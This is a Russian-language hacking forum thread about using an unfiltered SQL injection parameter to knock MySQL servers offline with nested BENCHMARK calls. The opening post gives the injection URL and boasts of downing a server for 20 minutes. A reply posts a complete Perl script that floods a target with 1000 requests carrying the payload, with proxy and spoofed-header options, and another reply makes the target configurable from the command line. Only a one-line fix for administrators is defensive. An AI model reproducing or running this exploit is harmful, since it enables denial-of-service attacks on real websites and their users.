Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
DOS В Mysql Иньекции.
 
Во множестве сайтов имеются уязвимости типа Sql иньекций. Однако, в большинстве случаев запрос имеет вид примерно:
select * from tablename where rowname=$id
Где id никак не фильтруется. Нести каких либо деструктивных функций, иньекция в таком запросе не может.
Однако имеется возможность организации простыми средствами (Броузер, соединение через проски) эффективеую DOS атаку.
/Я один сервак так минут на 20 вырубил/.
И так. Теория: MySQL Manual
BENCHMARK(count,expr)
    Функция BENCHMARK() повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. Она может использоваться для определения того, насколько быстро MySQL обрабатывает данное выражение. Значение результата всегда равно 0. Функция предназначена для использования в клиенте mysql, который сообщает о времени выполнения запроса:

mysql> SELECT BENCHMARK(1000000,ENCODE("hello","goodbye"));
==============================================
Практика. Находим сайт с подобной уязвимостью, например
http://site.ru/?id=5 показывает некотурую страницу.
Проверям, что действительно имеет место подобная уязвимость: Пробуем http://site.ru/?id=7-2*cos(0)
Как говориться, найдите 10 отличий. Налицо уязвимость подобного рода.

Набирам в броузере http://site.ru/?id=1+or+BENCHMARK(1000000000,BENCHMARK(1000000000, md5(current_date)))
Жмем "обновить" несколько раз, не дожидаясь загрузки страницы.
И видем - httpd или mysqld в дауне....
PS. Запрос составлен так, чтоб он не содержал ковычек или других упрямых символов...

PPS. Админы - обращаете побольше времени на sql иньекции... поставте (int)$id и/или addlsashes($id)
Проверялось на PHP, но вероятно будет работать и на других языках...
 
хм..... оч инетерсна! я даж испытал ! работало тока сервер завис на минуты 2 видна быстра сервак обрабатывает запросы! зависит все от софта и самой машины! щас займусь написанием эксплоита на эту тему Phoenix если хошь дополнить в теории эксплоит стучись 454822 ! avt711327@mail.ru !
 
Вот и готовый Эксплоит:
#!/usr/bin/perl -w
use Socket;

print "Content-type: text/html\n\n";

$host="www.site.ru";
$port="";           
$request="/index.php?id=1+or+BENCHMARK(1000000000,BENCHMARK(1000000000, md5(current_date)))";

$count=1000; #Количество запросов
$agent="Mozilla/5.0 (Windows; U; Windows NT 4.0; en-us; rv:1.3.0) Gecko/20020330";
$forward="127.0.0.1";
$lang="en-us";
$accept="*/*";
$referer="http://www.microsoft.com/";
$cookie="";

$proxy="64.5.130.10"; #Имя или ip прокси, если нужно соединение через прокси
$proxyport=80;         #Обяз параметр, если не пусто $proxy

$host.=":$port" if($port);
$port=80 if(!$port);

$body="GET http://$host$request HTTP/1.1\r\nHOST: $host\r\n";
$body.="X-FORWARDER-FOR: $forward\r\n" if($forward);
$body.="AGENT: $agent\r\n" if($agent);
$body.="REFERER: $referer\r\n" if($referer);
$body.="ACCEPT-LANGUAGE: $lang\r\n" if($lang);
$body.="ACCEPT: $accept\r\n" if($accept);
$body.="COOKIE: $cookie\r\n" if($cookie);


$body.="\r\n";

if(!$proxy)
{
 $iaddr = inet_aton($host);
}else
{
 $iaddr= inet_aton($proxy);
 $port=$proxyport;
}

$paddr = sockaddr_in($port, $iaddr);
$protoname = getprotobyname('tcp');

for($i=0; $i<$count; $i++)
{
socket(SOCK, PF_INET, SOCK_STREAM, $protoname);
connect(SOCK, $paddr);
send (SOCK, $body, 0);
#@data=<SOCK>;
close(SOCK);
#print @data;
}
 
похвально :)
 
такой вопрос, а есть в oracle sql или mssql аналог функции benchmark()?
 
ачёйта такое? стотья типа?
 
$request="/index.php?id=1+or+BENCHMARK(1000000000,BENCHMARK(1000000000, md5(current_date)))";


Имхо в таких эксплойтах нужно сделать в командной строке чтобы указывался путь к уязвимому скрипту и параметр уязвимого скрипта ))))
 
use Getopt::Long;
GetOptions("script-path=s", \$path, "script-param=s", \$param,"host=s", \$hostname);
$scriptpath = defined($path) ? $path :
{ print "Usage: exploit.pl --script-path=<PATH TO SCRIPT> --script-param=<PARAMS OF SCRIPT> --host=<TARGET HOST>\n"; }
;
$params = defined($param) ? $param :
print "Usage: exploit.pl --script-path=<PATH TO SCRIPT> --script-param=<PARAMS OF SCRIPT> --host=<TARGET HOST>\n";
;
$host = defined($hostname) ? $hostname :
print "Usage: exploit.pl --script-path=<PATH TO SCRIPT> --script-param=<PARAMS OF SCRIPT> --host=<TARGET HOST>\n";
;


Писалось навскидку, компилируйте сами.
в итоге заменить это:

$host="www.site.ru";
$port="";            
$request="/index.php?id=1+or+BENCHMARK(1000000000,BENCHMARK(1000000000, md5(current_date)))";

на
$port="";
$request="$scriptpath?$params+or+BENCHMARK(1000000000,BENCHMARK(1000000000, md5(current_date)))";


Имхо более функционально будет ))
 
имхо писать эксплоиты, которые занимаются только тем, что делают один хытытыпы запрос, да еще и оптимизировать их - не лучшее занятие
Страницы: 1
Читают тему